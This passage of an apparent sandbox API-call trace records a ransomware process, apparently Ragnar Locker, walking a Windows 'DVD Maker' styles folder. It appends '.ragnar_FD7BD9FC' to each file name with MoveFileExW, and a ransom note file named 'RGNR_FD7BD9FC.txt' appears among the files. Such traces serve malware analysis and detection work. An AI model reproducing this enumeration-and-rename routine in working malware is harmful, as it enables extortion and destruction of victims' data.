Maker\\Shared\\DvdStyles\\Sports\\NavigationButtonSubpicture.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NavigationButtonSubpicture.png" [0079.288] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NavigationButtonSubpicture.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NavigationButtonSubpicture.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NavigationButtonSubpicture.png.ragnar_FD7BD9FC" [0079.288] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NavigationButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\navigationbuttonsubpicture.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NavigationButtonSubpicture.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\navigationbuttonsubpicture.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.288] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ef9632, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ef9632, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xee0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NextMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0079.288] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3a [0079.288] lstrcpyW (in: lpString1=0x1eab56, lpString2="NextMenuButtonIcon.png" | out: lpString1="NextMenuButtonIcon.png") returned="NextMenuButtonIcon.png" [0079.288] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png") returned=".png" [0079.288] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\nextmenubuttonicon.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.288] CloseHandle (hObject=0xffffffff) returned 0 [0079.288] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png" [0079.289] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png.ragnar_FD7BD9FC" [0079.289] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\nextmenubuttonicon.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\nextmenubuttonicon.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.289] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f1f78f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f1f78f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xee2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ParentMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0079.289] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3a [0079.289] lstrcpyW (in: lpString1=0x1eab56, lpString2="ParentMenuButtonIcon.png" | out: lpString1="ParentMenuButtonIcon.png") returned="ParentMenuButtonIcon.png" [0079.289] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png") returned=".png" [0079.290] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\parentmenubuttonicon.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.290] CloseHandle (hObject=0xffffffff) returned 0 [0079.290] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png" [0079.290] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png.ragnar_FD7BD9FC" [0079.290] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\parentmenubuttonicon.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\parentmenubuttonicon.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.290] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f1f78f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f1f78f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xeeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="PreviousMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0079.290] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3a [0079.290] lstrcpyW (in: lpString1=0x1eab56, lpString2="PreviousMenuButtonIcon.png" | out: lpString1="PreviousMenuButtonIcon.png") returned="PreviousMenuButtonIcon.png" [0079.290] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png") returned=".png" [0079.290] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\previousmenubuttonicon.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.291] CloseHandle (hObject=0xffffffff) returned 0 [0079.291] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png" [0079.291] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png.ragnar_FD7BD9FC" [0079.291] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\previousmenubuttonicon.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\previousmenubuttonicon.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.291] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x817f2a00, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x817f2a00, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0079.291] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3a [0079.291] lstrcpyW (in: lpString1=0x1eab56, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0079.291] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\RGNR_FD7BD9FC.txt") returned=".txt" [0079.291] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3a [0079.291] lstrcpyW (in: lpString1=0x1eab56, lpString2="SceneButtonInset_Alpha1.png" | out: lpString1="SceneButtonInset_Alpha1.png") returned="SceneButtonInset_Alpha1.png" [0079.291] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png") returned=".png" [0079.291] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha1.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.291] CloseHandle (hObject=0xffffffff) returned 0 [0079.291] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png" [0079.291] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png.ragnar_FD7BD9FC" [0079.291] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha1.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha1.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.292] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f6ba49, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f6ba49, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="SceneButtonInset_Alpha2.png", cAlternateFileName="")) returned 1 [0079.292] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3a [0079.292] lstrcpyW (in: lpString1=0x1eab56, lpString2="SceneButtonInset_Alpha2.png" | out: lpString1="SceneButtonInset_Alpha2.png") returned="SceneButtonInset_Alpha2.png" [0079.292] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png") returned=".png" [0079.292] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha2.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.292] CloseHandle (hObject=0xffffffff) returned 0 [0079.292] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png" [0079.292] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png.ragnar_FD7BD9FC" [0079.292] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha2.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha2.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.292] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71e8721b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71e8721b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SceneButtonSubpicture.png", cAlternateFileName="")) returned 1 [0079.293] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3a [0079.293] lstrcpyW (in: lpString1=0x1eab56, lpString2="SceneButtonSubpicture.png" | out: lpString1="SceneButtonSubpicture.png") returned="SceneButtonSubpicture.png" [0079.293] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonSubpicture.png") returned=".png" [0079.293] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttonsubpicture.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.293] CloseHandle (hObject=0xffffffff) returned 0 [0079.294] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonSubpicture.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonSubpicture.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonSubpicture.png" [0079.294] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonSubpicture.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonSubpicture.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonSubpicture.png.ragnar_FD7BD9FC" [0079.294] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttonsubpicture.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonSubpicture.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttonsubpicture.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.294] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71893b93, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71893b93, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x500e57b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x539540, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainBackground.wmv", cAlternateFileName="")) returned 1 [0079.294] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3a [0079.294] lstrcpyW (in: lpString1=0x1eab56, lpString2="SportsMainBackground.wmv" | out: lpString1="SportsMainBackground.wmv") returned="SportsMainBackground.wmv" [0079.294] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv") returned=".wmv" [0079.294] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.294] CloseHandle (hObject=0xffffffff) returned 0 [0079.294] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv" [0079.294] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv.ragnar_FD7BD9FC" [0079.294] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.294] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71aa8ea9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71aa8ea9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x502ae81f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x57bbc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0079.294] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3a [0079.294] lstrcpyW (in: lpString1=0x1eab56, lpString2="SportsMainBackground_PAL.wmv" | out: lpString1="SportsMainBackground_PAL.wmv") returned="SportsMainBackground_PAL.wmv" [0079.294] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv") returned=".wmv" [0079.295] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.295] CloseHandle (hObject=0xffffffff) returned 0 [0079.295] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv" [0079.295] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv.ragnar_FD7BD9FC" [0079.295] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.295] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71c25c4b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71c25c4b, 